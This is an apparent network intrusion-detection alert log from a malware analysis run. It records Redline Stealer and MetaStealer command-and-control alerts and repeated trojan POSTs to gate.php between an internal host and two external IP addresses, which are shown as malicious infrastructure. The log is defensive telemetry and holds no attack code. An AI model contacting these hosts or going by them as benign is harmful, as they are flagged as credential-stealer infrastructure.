2024-12-14T14:57:32.563346+0100	2045000	1	Malware Command and Control Activity Detected	107.189.17.186	28269	192.168.2.5	50155	TCP

ET MALWARE Redline Stealer TCP CnC - Id1Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:24.738856+0100	2043234	1	A Network Trojan was detected	185.81.68.147	1912	192.168.2.5	49870	TCP

ET MALWARE Redline Stealer TCP CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:24.282627+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:29.918746+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:32.859073+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:33.358067+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:34.005139+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:34.594013+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:40.808496+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:41.531336+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:42.128064+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:42.615015+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:43.162678+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:48.993403+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:49.649135+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:49.769201+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:51.546227+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:52.056622+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:52.512966+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:54.100849+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:54.601027+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:55.237237+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:56.359753+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:56.860453+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:57.302201+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:57.976727+0100	2043231	1	A Network Trojan was detected	192.168.2.5	49870	185.81.68.147	1912	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:30.409622+0100	2046056	1	A Network Trojan was detected	185.81.68.147	1912	192.168.2.5	49870	TCP
2024-12-14T14:57:38.836951+0100	2046056	1	A Network Trojan was detected	107.189.17.186	28269	192.168.2.5	50155	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:23.066682+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49865	185.81.68.147	80	TCP
2024-12-14T14:56:30.972411+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49888	185.81.68.147	80	TCP

ET MALWARE Trojan Generic - POST To gate.php with no accept headers

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:15.495072+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49845	185.81.68.147	80	TCP
2024-12-14T14:56:15.736302+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49848	185.81.68.147	80	TCP
2024-12-14T14:56:17.505046+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49853	185.81.68.147	80	TCP
2024-12-14T14:56:36.531297+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49906	185.81.68.147	80	TCP
2024-12-14T14:56:38.397120+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49912	185.81.68.147	80	TCP
2024-12-14T14:56:40.101469+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49919	185.81.68.147	80	TCP
2024-12-14T14:56:42.056747+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49925	185.81.68.147	80	TCP
2024-12-14T14:56:43.776229+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49928	185.81.68.147	80	TCP
2024-12-14T14:56:45.506190+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49934	185.81.68.147	80	TCP
2024-12-14T14:56:47.521205+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49943	185.81.68.147	80	TCP
2024-12-14T14:56:49.381296+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49950	185.81.68.147	80	TCP
2024-12-14T14:56:51.463067+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49956	185.81.68.147	80	TCP
2024-12-14T14:56:53.191858+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49963	185.81.68.147	80	TCP
2024-12-14T14:56:55.352779+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49969	185.81.68.147	80	TCP
2024-12-14T14:56:57.306868+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49975	185.81.68.147	80	TCP
2024-12-14T14:56:57.920071+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49978	185.81.68.147	80	TCP
2024-12-14T14:56:57.920183+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49979	185.81.68.147	80	TCP
2024-12-14T14:56:59.295247+0100	2022985	1	A Network Trojan was detected	192.168.2.5	49984	185.81.68.147	80	TCP
2024-12-14T14:57:01.004838+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50007	185.81.68.147	80	TCP
2024-12-14T14:57:03.132837+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50025	185.81.68.147	80	TCP
2024-12-14T14:57:05.040192+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50034	185.81.68.147	80	TCP
2024-12-14T14:57:06.705753+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50038	185.81.68.147	80	TCP
2024-12-14T14:57:08.381655+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50044	185.81.68.147	80	TCP
2024-12-14T14:57:10.755852+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50058	185.81.68.147	80	TCP
2024-12-14T14:57:13.771267+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50088	185.81.68.147	80	TCP
2024-12-14T14:57:15.650359+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50105	185.81.68.147	80	TCP
2024-12-14T14:57:17.343878+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50122	185.81.68.147	80	TCP
2024-12-14T14:57:19.080577+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50129	185.81.68.147	80	TCP
2024-12-14T14:57:20.865599+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50138	185.81.68.147	80	TCP
2024-12-14T14:57:21.271685+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50133	185.81.68.147	80	TCP
2024-12-14T14:57:21.272522+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50134	185.81.68.147	80	TCP
2024-12-14T14:57:21.272561+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50135	185.81.68.147	80	TCP
2024-12-14T14:57:21.272671+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50136	185.81.68.147	80	TCP
2024-12-14T14:57:21.518510+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50142	185.81.68.147	80	TCP
2024-12-14T14:57:21.518554+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50143	185.81.68.147	80	TCP
2024-12-14T14:57:21.519618+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50144	185.81.68.147	80	TCP
2024-12-14T14:57:21.538691+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50145	185.81.68.147	80	TCP
2024-12-14T14:57:22.707704+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50149	185.81.68.147	80	TCP
2024-12-14T14:57:24.582123+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50151	185.81.68.147	80	TCP
2024-12-14T14:57:27.526216+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50161	185.81.68.147	80	TCP
2024-12-14T14:57:29.503269+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50169	185.81.68.147	80	TCP
2024-12-14T14:57:31.293911+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50175	185.81.68.147	80	TCP
2024-12-14T14:57:33.226305+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50181	185.81.68.147	80	TCP
2024-12-14T14:57:35.006761+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50184	185.81.68.147	80	TCP
2024-12-14T14:57:36.895383+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50186	185.81.68.147	80	TCP
2024-12-14T14:57:38.819874+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50190	185.81.68.147	80	TCP
2024-12-14T14:57:40.847102+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50193	185.81.68.147	80	TCP
2024-12-14T14:57:42.743354+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50206	185.81.68.147	80	TCP
2024-12-14T14:57:44.610579+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50212	185.81.68.147	80	TCP
2024-12-14T14:57:46.639381+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50214	185.81.68.147	80	TCP
2024-12-14T14:57:48.607285+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50217	185.81.68.147	80	TCP
2024-12-14T14:57:50.552346+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50219	185.81.68.147	80	TCP
2024-12-14T14:57:52.318759+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50221	185.81.68.147	80	TCP
2024-12-14T14:57:54.320351+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50225	185.81.68.147	80	TCP
2024-12-14T14:57:56.254352+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50227	185.81.68.147	80	TCP
2024-12-14T14:57:58.148679+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50230	185.81.68.147	80	TCP
2024-12-14T14:58:00.085406+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50231	185.81.68.147	80	TCP
2024-12-14T14:58:01.995075+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50235	185.81.68.147	80	TCP
2024-12-14T14:58:03.868628+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50237	185.81.68.147	80	TCP
2024-12-14T14:58:05.745353+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50239	185.81.68.147	80	TCP
2024-12-14T14:58:07.823345+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50241	185.81.68.147	80	TCP
2024-12-14T14:58:09.571627+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50242	185.81.68.147	80	TCP
2024-12-14T14:58:11.505932+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50246	185.81.68.147	80	TCP
2024-12-14T14:58:13.301518+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50252	185.81.68.147	80	TCP
2024-12-14T14:58:15.274231+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50253	185.81.68.147	80	TCP
2024-12-14T14:58:17.192578+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50255	185.81.68.147	80	TCP
2024-12-14T14:58:18.922969+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50256	185.81.68.147	80	TCP
2024-12-14T14:58:20.778257+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50258	185.81.68.147	80	TCP
2024-12-14T14:58:22.696006+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50261	185.81.68.147	80	TCP
2024-12-14T14:58:24.407272+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50262	185.81.68.147	80	TCP
2024-12-14T14:58:26.342430+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50264	185.81.68.147	80	TCP
2024-12-14T14:58:28.176863+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50265	185.81.68.147	80	TCP
2024-12-14T14:58:30.103662+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50267	185.81.68.147	80	TCP
2024-12-14T14:58:32.059658+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50269	185.81.68.147	80	TCP
2024-12-14T14:58:33.792204+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50270	185.81.68.147	80	TCP
2024-12-14T14:58:35.704752+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50273	185.81.68.147	80	TCP
2024-12-14T14:58:37.547195+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50274	185.81.68.147	80	TCP
2024-12-14T14:58:39.480226+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50276	185.81.68.147	80	TCP
2024-12-14T14:58:41.716332+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50278	185.81.68.147	80	TCP
2024-12-14T14:58:43.711475+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50279	185.81.68.147	80	TCP
2024-12-14T14:58:45.678839+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50281	185.81.68.147	80	TCP
2024-12-14T14:58:47.551723+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50283	185.81.68.147	80	TCP
2024-12-14T14:58:49.457706+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50285	185.81.68.147	80	TCP
2024-12-14T14:58:51.315639+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50287	185.81.68.147	80	TCP
2024-12-14T14:58:53.245616+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50288	185.81.68.147	80	TCP
2024-12-14T14:58:55.298594+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50290	185.81.68.147	80	TCP
2024-12-14T14:58:57.293316+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50292	185.81.68.147	80	TCP
2024-12-14T14:58:59.207723+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50293	185.81.68.147	80	TCP
2024-12-14T14:59:01.210087+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50295	185.81.68.147	80	TCP
2024-12-14T14:59:03.044032+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50297	185.81.68.147	80	TCP
2024-12-14T14:59:04.930684+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50298	185.81.68.147	80	TCP
2024-12-14T14:59:07.971937+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50300	185.81.68.147	80	TCP
2024-12-14T14:59:09.946444+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50302	185.81.68.147	80	TCP
2024-12-14T14:59:11.829484+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50303	185.81.68.147	80	TCP
2024-12-14T14:59:13.511645+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50305	185.81.68.147	80	TCP
2024-12-14T14:59:15.304015+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50308	185.81.68.147	80	TCP
2024-12-14T14:59:17.056804+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50309	185.81.68.147	80	TCP
2024-12-14T14:59:18.930677+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50311	185.81.68.147	80	TCP
2024-12-14T14:59:20.844631+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50312	185.81.68.147	80	TCP
2024-12-14T14:59:22.761240+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50314	185.81.68.147	80	TCP
2024-12-14T14:59:24.651444+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50316	185.81.68.147	80	TCP
2024-12-14T14:59:26.524647+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50317	185.81.68.147	80	TCP
2024-12-14T14:59:28.448356+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50319	185.81.68.147	80	TCP
2024-12-14T14:59:30.241195+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50320	185.81.68.147	80	TCP
2024-12-14T14:59:32.104392+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50322	185.81.68.147	80	TCP
2024-12-14T14:59:34.020461+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50324	185.81.68.147	80	TCP
2024-12-14T14:59:35.742958+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50325	185.81.68.147	80	TCP
2024-12-14T14:59:37.727953+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50327	185.81.68.147	80	TCP
2024-12-14T14:59:39.620654+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50328	185.81.68.147	80	TCP
2024-12-14T14:59:41.514153+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50330	185.81.68.147	80	TCP
2024-12-14T14:59:43.227347+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50332	185.81.68.147	80	TCP
2024-12-14T14:59:45.180278+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50334	185.81.68.147	80	TCP
2024-12-14T14:59:47.437067+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50337	185.81.68.147	80	TCP
2024-12-14T14:59:49.311842+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50338	185.81.68.147	80	TCP
2024-12-14T14:59:51.105414+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50340	185.81.68.147	80	TCP
2024-12-14T14:59:52.858532+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50342	185.81.68.147	80	TCP
2024-12-14T14:59:54.772395+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50343	185.81.68.147	80	TCP
2024-12-14T14:59:56.686685+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50346	185.81.68.147	80	TCP
2024-12-14T14:59:58.680588+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50347	185.81.68.147	80	TCP
2024-12-14T15:00:00.597939+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50349	185.81.68.147	80	TCP
2024-12-14T15:00:02.469940+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50351	185.81.68.147	80	TCP
2024-12-14T15:00:04.373460+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50352	185.81.68.147	80	TCP
2024-12-14T15:00:06.276615+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50354	185.81.68.147	80	TCP
2024-12-14T15:00:08.270640+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50355	185.81.68.147	80	TCP
2024-12-14T15:00:10.204519+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50358	185.81.68.147	80	TCP
2024-12-14T15:00:12.077859+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50360	185.81.68.147	80	TCP
2024-12-14T15:00:13.971251+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50361	185.81.68.147	80	TCP
2024-12-14T15:00:15.844673+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50366	185.81.68.147	80	TCP
2024-12-14T15:00:17.839368+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50368	185.81.68.147	80	TCP
2024-12-14T15:00:19.798920+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50369	185.81.68.147	80	TCP
2024-12-14T15:00:21.586582+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50371	185.81.68.147	80	TCP
2024-12-14T15:00:23.318835+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50372	185.81.68.147	80	TCP
2024-12-14T15:00:25.272721+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50374	185.81.68.147	80	TCP
2024-12-14T15:00:27.206578+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50376	185.81.68.147	80	TCP
2024-12-14T15:00:29.018242+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50377	185.81.68.147	80	TCP
2024-12-14T15:00:30.963844+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50379	185.81.68.147	80	TCP
2024-12-14T15:00:33.069424+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50380	185.81.68.147	80	TCP
2024-12-14T15:00:34.982292+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50382	185.81.68.147	80	TCP
2024-12-14T15:00:36.917063+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50385	185.81.68.147	80	TCP
2024-12-14T15:00:38.770638+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50386	185.81.68.147	80	TCP
2024-12-14T15:00:40.543415+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50388	185.81.68.147	80	TCP
2024-12-14T15:00:42.437634+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50389	185.81.68.147	80	TCP
2024-12-14T15:00:44.512475+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50391	185.81.68.147	80	TCP
2024-12-14T15:00:46.305501+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50393	185.81.68.147	80	TCP
2024-12-14T15:00:48.320387+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50396	185.81.68.147	80	TCP
2024-12-14T15:00:50.214509+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50398	185.81.68.147	80	TCP
2024-12-14T15:00:51.968758+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50399	185.81.68.147	80	TCP
2024-12-14T15:00:53.861831+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50401	185.81.68.147	80	TCP
2024-12-14T15:00:55.936325+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50403	185.81.68.147	80	TCP
2024-12-14T15:00:57.748640+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50404	185.81.68.147	80	TCP
2024-12-14T15:00:59.641994+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50406	185.81.68.147	80	TCP
2024-12-14T15:01:01.635905+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50408	185.81.68.147	80	TCP
2024-12-14T15:01:03.589922+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50410	185.81.68.147	80	TCP
2024-12-14T15:01:05.813818+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50412	185.81.68.147	80	TCP
2024-12-14T15:01:07.678873+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50413	185.81.68.147	80	TCP
2024-12-14T15:01:09.673604+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50415	185.81.68.147	80	TCP
2024-12-14T15:01:11.587459+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50417	185.81.68.147	80	TCP
2024-12-14T15:01:13.461287+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50418	185.81.68.147	80	TCP
2024-12-14T15:01:15.396496+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50420	185.81.68.147	80	TCP
2024-12-14T15:01:17.300563+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50421	185.81.68.147	80	TCP
2024-12-14T15:01:19.184735+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50423	185.81.68.147	80	TCP
2024-12-14T15:01:20.937676+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50425	185.81.68.147	80	TCP
2024-12-14T15:01:22.852244+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50426	185.81.68.147	80	TCP
2024-12-14T15:01:24.745871+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50428	185.81.68.147	80	TCP
2024-12-14T15:01:26.702640+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50429	185.81.68.147	80	TCP
2024-12-14T15:01:28.472154+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50431	185.81.68.147	80	TCP
2024-12-14T15:01:30.164467+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50433	185.81.68.147	80	TCP
2024-12-14T15:01:32.130915+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50435	185.81.68.147	80	TCP
2024-12-14T15:01:34.072445+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50437	185.81.68.147	80	TCP
2024-12-14T15:01:35.950000+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50438	185.81.68.147	80	TCP
2024-12-14T15:01:37.766061+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50440	185.81.68.147	80	TCP
2024-12-14T15:01:39.640132+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50442	185.81.68.147	80	TCP
2024-12-14T15:01:41.673765+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50443	185.81.68.147	80	TCP
2024-12-14T15:01:43.567213+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50445	185.81.68.147	80	TCP
2024-12-14T15:01:45.460669+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50446	185.81.68.147	80	TCP
2024-12-14T15:01:47.193047+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50448	185.81.68.147	80	TCP
2024-12-14T15:01:49.077574+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50450	185.81.68.147	80	TCP
2024-12-14T15:01:50.960609+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50451	185.81.68.147	80	TCP
2024-12-14T15:01:52.854298+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50453	185.81.68.147	80	TCP
2024-12-14T15:01:54.747927+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50454	185.81.68.147	80	TCP
2024-12-14T15:01:56.640791+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50456	185.81.68.147	80	TCP
2024-12-14T15:01:58.313016+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50459	185.81.68.147	80	TCP
2024-12-14T15:02:00.351854+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50460	185.81.68.147	80	TCP
2024-12-14T15:02:02.081069+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50462	185.81.68.147	80	TCP
2024-12-14T15:02:04.135348+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50463	185.81.68.147	80	TCP
2024-12-14T15:02:06.133624+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50465	185.81.68.147	80	TCP
2024-12-14T15:02:07.842680+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50467	185.81.68.147	80	TCP
2024-12-14T15:02:09.887682+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50468	185.81.68.147	80	TCP
2024-12-14T15:02:11.891307+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50471	185.81.68.147	80	TCP
2024-12-14T15:02:13.825389+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50474	185.81.68.147	80	TCP
2024-12-14T15:02:15.729457+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50477	185.81.68.147	80	TCP
2024-12-14T15:02:17.572085+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50479	185.81.68.147	80	TCP
2024-12-14T15:02:19.667353+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50480	185.81.68.147	80	TCP
2024-12-14T15:02:21.571157+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50482	185.81.68.147	80	TCP
2024-12-14T15:02:23.554718+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50484	185.81.68.147	80	TCP
2024-12-14T15:02:25.569551+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50486	185.81.68.147	80	TCP
2024-12-14T15:02:27.624087+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50488	185.81.68.147	80	TCP
2024-12-14T15:02:29.518020+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50489	185.81.68.147	80	TCP
2024-12-14T15:02:31.290535+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50491	185.81.68.147	80	TCP
2024-12-14T15:02:33.302983+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50493	185.81.68.147	80	TCP
2024-12-14T15:02:35.208256+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50494	185.81.68.147	80	TCP
2024-12-14T15:02:37.170027+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50496	185.81.68.147	80	TCP
2024-12-14T15:02:38.962950+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50498	185.81.68.147	80	TCP
2024-12-14T15:02:40.815840+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50500	185.81.68.147	80	TCP
2024-12-14T15:02:42.709056+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50502	185.81.68.147	80	TCP
2024-12-14T15:02:44.683165+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50503	185.81.68.147	80	TCP
2024-12-14T15:02:46.575851+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50505	185.81.68.147	80	TCP
2024-12-14T15:02:48.489294+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50507	185.81.68.147	80	TCP
2024-12-14T15:02:50.382084+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50508	185.81.68.147	80	TCP
